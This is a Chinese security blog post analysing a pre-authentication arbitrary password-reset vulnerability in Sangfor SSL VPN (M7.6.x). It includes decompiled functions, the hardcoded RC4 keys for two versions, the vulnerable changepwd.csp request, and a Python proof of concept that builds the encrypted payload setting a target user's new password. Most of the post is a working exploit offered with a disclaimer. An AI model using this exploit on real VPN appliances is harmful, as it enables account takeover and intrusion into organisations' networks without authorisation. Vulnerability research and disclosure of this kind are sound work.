深信服 SSL VPN Nday - Pre Auth 任意密码重置

#hw2020 #深信服

字数统计: 323 阅读时长: 1 min

2020/09/15 Share

> 由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，文章作者不为此承担任何责任。

测试于：M7.6.1

~~为啥不测高版本…因为升级到 M7.6.8R2 后新客户端总连不上，同时各种环境开启机子带不动 Orz~~

更新：

01. 高版本(如M7.6.8R2) 直接删除相关函数
02. 低版本(如M7.6.6R1) 升级版存在此漏洞
03. 打了 5.x-7.x 补丁的无法利用，然而修补方式是真滴🐂🍺

分析

01. 差不多的逻辑

```
88  twf_response_set_header(*((_QWORD *)&a1 + 1), "Pragma", "no-cache");
89  twf_response_set_header(*((_QWORD *)&a1 + 1), "Cache-Control", "no-cache");
90  twf_response_set_header(*((_QWORD *)&a1 + 1), "Content-type", "text/html; charset=utf-8");
91  *((_QWORD *)&nptr + 1) = twf_request_get_param(a1, "ispda");
92  if ( (unsigned __int8)is_pda(a1, "ispda") || *((_QWORD *)&nptr + 1) )
93    return pda_response_0(a1, *((_QWORD *)&a1 + 1));
94  nptr = (unsigned __int64)twf_request_get_param(a1, "cknote");
95  if ( (_QWORD)nptr )
96    v62 = atoi((const char *)nptr);
97  if ( v62 == 1 )
98    return changenote(a1, *((_QWORD *)&a1 + 1));
99  s1 = (char *)twf_request_get_param(a1, "sessReq");
100 if ( s1 )
101 {
102   if ( !strcmp(s1, "clusterd") )
103   {
104     v61 = (char *)twf_request_get_param(a1, "sessid");
105     if ( !v61 )
106       return twf_response_printf(*((_QWORD *)&a1 + 1), "%d\n\n", 3LL, v29, v30, v31);
107     strncpy(v47, v61, 0x10uLL);
108     cp = (char *)twf_request_get_header(a1, "REMOTE_ADDR", v32);
109     if ( !cp )
110       return twf_response_printf(*((_QWORD *)&a1 + 1), "%d\n\n", 3LL, v33, v34, v35);
111     if ( !(unsigned int)IsDNEnabled(a1, "REMOTE_ADDR") || (v36 = inet_addr(cp), (unsigned int)DNAuthIP(v36)) )
112     {
113       v58 = lioctrl_get_user_info(g_plioctrl, v61, &s);
114       if ( (v58 & 0x80000000) != 0 || !v53 )
115         v61 = 0LL;
116     }
117     else
118     {
119       v61 = 0LL;
120     }
121     *((_QWORD *)&a1 + 1) = &s;
122     parseChangePwdSyncRequest(a1, (__int64)v62, (__int64)&v54, (__int64)&dest, (__int64)&v39);
123   }
```

02. 唯独多了个 RC4 解密，key 是 20100720

```
1  char *__fastcall parseChangePwdSyncRequest(__int128 a1, __int64 a3, int *a4, __int64 a5, __int64 a6)
2  {
3    char *result; // rax
4    unsigned int v6; // eax
5    int v7; // ST10_4
6    __int64 v8; // [rsp+30h] [rbp-770h]
7    __int64 v9; // [rsp+38h] [rbp-768h]
8    int *v10; // [rsp+40h] [rbp-760h]
9    __int64 v11; // [rsp+48h] [rbp-758h]
10   char v12; // [rsp+60h] [rbp-740h]
11   char v13; // [rsp+470h] [rbp-330h]
12   char v14; // [rsp+570h] [rbp-230h]
13   char s[8]; // [rsp+770h] [rbp-30h]
14   char v16; // [rsp+778h] [rbp-28h]
15   char *nptr; // [rsp+788h] [rbp-18h]
16   char *v18; // [rsp+790h] [rbp-10h]
17   unsigned int v19; // [rsp+79Ch] [rbp-4h]
18
19   v11 = a3;
20   v10 = a4;
21   v9 = a5;
22   v8 = a6;
23   if ( !(_QWORD)a1 || !*((_QWORD *)&a1 + 1) )
24     __assert_fail("request && uname", "modules/clus_common.c", 0x5B6u, "parseChangePwdSyncRequest");
25   *(_QWORD *)s = 0LL;
26   v16 = 0;
27   memset(&v14, 0, 0x200uLL);
28   memset(&v13, 0, 0x100uLL);
29   v19 = 0;
30   memset(&v12, 0, 0x408uLL);
31   snprintf(s, 9uLL, off_CD6F9, 20100720LL);
32   v18 = (char *)twf_request_get_param(a1, "str");
33   result = (char *)twf_request_get_param(a1, "len");
34   nptr = result;
35   if ( !v18 )
36     return result;
37   if ( !nptr )
38     return result;
39   v19 = atoi(nptr);
40   v6 = strlen(v18);
41   Hex_Decode(v18, v6, &v14, 512LL);
42   RC4_setup(&v12, s, 8LL);
43   RC4_crypt((__int64)&v12, (__int64)&v14, v19);
44   Logc_writeMsg(
45     3LL,
46     "[%s] [%s:%d] [%s] parse get tmpStr: %s",
47     "MOD_TWF",
48     "modules/clus_common.c",
49     1481LL,
50     "parseChangePwdSyncRequest",
51     (unsigned __int64)&v14);
52   getKeyValue((__int64)&v14, (__int64)"username", *((__int64 *)&a1 + 1), 1LL);
53   getKeyValue((__int64)&v14, (__int64)"ip", v11, 1LL);
54   getKeyValue((__int64)&v14, (__int64)"grpid", (__int64)&v13, 1LL);
55   *v10 = atoi(&v13);
56   getKeyValue((__int64)&v14, (__int64)"pripsw", v9, 1LL);
57   getKeyValue((__int64)&v14, (__int64)"newpsw", v8, 1LL);
58   v7 = *v10;
59   result = (char *)Logc_writeMsg(
60                      3LL,
61                      "[%s] [%s:%d] [%s] username: %s ip: %s grpid: %d pripsw: %s newpsw: %s",
62                      "MOD_TWF",
63                      "modules/clus_common.c",
64                      1500LL,
65                      "parseChangePwdSyncRequest",
66                      DWORD2(a1));
67   return result;
68 }
```

03. 在数据提取中写的有点奇怪,使用 ，和 = 作为分隔符，所以我们的数据也要类似如：

```
,username=test,ip=127.0.0.1,grpid=1,pripsw=suiyi,newpsw=QQ123456,
```

```
void __fastcall getKeyValue(const char *a1, const char *a2, void *a3, int a4)
{
  int v4; // [rsp+4h] [rbp-4Ch]
  void *dest; // [rsp+8h] [rbp-48h]
  char *v6; // [rsp+28h] [rbp-28h]
  int v7; // [rsp+3Ch] [rbp-14h]
  char *haystack; // [rsp+40h] [rbp-10h]
  char v9; // [rsp+4Fh] [rbp-1h]

  dest = a3;
  v4 = a4;
  if ( a1 && a2 )
  {
    if ( a4 == 1 )
    {
      v9 = 44;
    }
    else
    {
      if ( a4 != 2 )
        return;
      v9 = 38;
    }
    v7 = strlen(a2);
    haystack = strstr(a1, a2);
    if ( haystack && haystack != a1 )
    {
      while ( *haystack && (haystack[v7] != 61 || *(haystack - 1) != v9) )
      {
        haystack = strstr(haystack + 1, a2);
        if ( !haystack )
          return;
      }
      if ( *haystack )
      {
        v6 = strchr(&haystack[v7 + 1], v9);
        if ( v6 )
        {
          memcpy(dest, &haystack[v7 + 1], v6 - 1 - &haystack[v7]);
          if ( v4 == 1 )
            str_replace_char(dest, 13LL, 44LL);
        }
      }
    }
  }
}
```

POC

- M7.6.6R1 key 为 20181118
- M7.6.1 key 为 20100720

其他版本另寻

```
https://<path>/por/changepwd.csp

sessReq=clusterd&sessid=0&str=RC4_STR&len=RC4_STR_LEN
```

```
from Crypto.Cipher import ARC4
from binascii import a2b_hex


def myRC4(data,key):
    rc41 = ARC4.new(key)
    encrypted = rc41.encrypt(data)
    return encrypted.encode('hex')


def rc4_decrpt_hex(data,key):
    rc41 = ARC4.new(key)
    return rc41.decrypt(a2b_hex(data))
key = '20100720'
data = r',username=TARGET_USERNAME,ip=127.0.0.1,grpid=1,pripsw=suiyi,newpsw=TARGET_PASSWORD,
print myRC4(data, key)
```

效果就不展示了，动图太麻烦

Previous Post >
深信服 SSL VPN Nday - Pre Auth 修改绑定手机